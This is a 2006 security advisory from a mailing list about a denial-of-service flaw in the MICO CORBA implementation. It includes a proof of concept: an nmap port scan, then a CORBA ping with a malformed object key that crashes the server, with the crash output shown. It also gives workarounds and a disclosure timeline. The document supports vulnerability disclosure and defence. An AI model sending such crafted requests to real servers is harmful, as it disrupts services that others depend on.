The following security advisory is sent to the securiteam mailing list, and can
be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion
The SecuriTeam alerts list - Free, Accurate, Independent.
Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html
- - - - - - - - -
MICO Denial of Service
------------------------------------------------------------------------
SUMMARY
<http://www.mico.org/> MICO is fully-compliant implementation of the
CORBA standard.
When MICO is contacted with the wrong object key used, it may crash.
DETAILS
Vulnerable Systems:
* MICO version 2.3.12RC3
* MICO version 2.3.12
MICO crashes when contacted with wrong orb-id or orb-creation time keys.
Example code:
<http://wwwstud.informatik.uni-rostock.de/~cb098/mico_bug.tgz>
http://wwwstud.informatik.uni-rostock.de/~cb098/mico_bug.tgz
Proof of concept:
Start the orb, you'll crash
$ ./server
scan your target...
$ sudo nmap -sS -oM results.nmap -p 1-65535 192.168.1.10 / | grep unknown
8010/tcp open unknown
49576/tcp open unknown
51140/tcp open unknown
One of these port could be the orb. Lets try to ping
(object._non_exists()) the last one. For this I'm using a special handmade
CORBA-Ping-Prog.
$ java JPing -p corbaloc:: 192.168.1.10:8010//200/1151845678/0/_5
orb.string_to_object ... ok
object exists? Exception caught; org.omg.CORBA.COMM_FAILURE:
vmcid: SUN minor code: 208 completed: Maybe
The line above are indicating that there was something wrong. On every
active port, you'll get COMM_FAILURE; but on the ORB-port OBJECT_NOT_EXIST
is expected and mandatory by <http://www.omg.org> OMG CORBA Spec.
-- mico testserver crashed / output --
A look into server terminal let us know, that there's sth. wrong.
$ ./server
IOR:010000000e00000049444c3a48656c6c6f3a312e300000000200000000000000390
0000001010000160000006c6f63616c686f73 742e6c6f63616c646f6d61696e00c4c71
50000002f363836302f313135313735303432362f302f5f300000000100000024000000
0100 000001000000010000001400000001000000010001000000000009010100000000
00 # myior <-- everything is ok until here
server: orb.cc:332: void CORBA::ORBInvokeRec::set_answer_invoke(CORBA::
InvokeStatus, CORBA::Object*, CORBA:: ORBRequest*, GIOP::AddressingDisp
osition): Assertion `_type == RequestInvoke' failed.
Aborted
Walkarounds:
* Don't use MICO in or over public networks.
* Protect MICO with an (IIOP) firewall
Disclosure Timeline:
* 2006-06-27 Problem found and analyzed / tested with other versions
* 2006-06-29 Vulnerability reported to vendor and MICOs
devel-mailing-list
* 2006-07-05 2nd mail to vendor and mailing-list
* 2006-07-06 Full disclosure
ADDITIONAL INFORMATION
The information has been provided by <mailto:tuergeist@googlemail.com>
tuergeist.
========================================
This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to:
list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to:
list-subscribe@securiteam.com
====================
====================
DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any
kind.
In no event shall we be liable for any damages whatsoever including direct,
indirect, incidental, consequential, loss of business profits or special
damages.
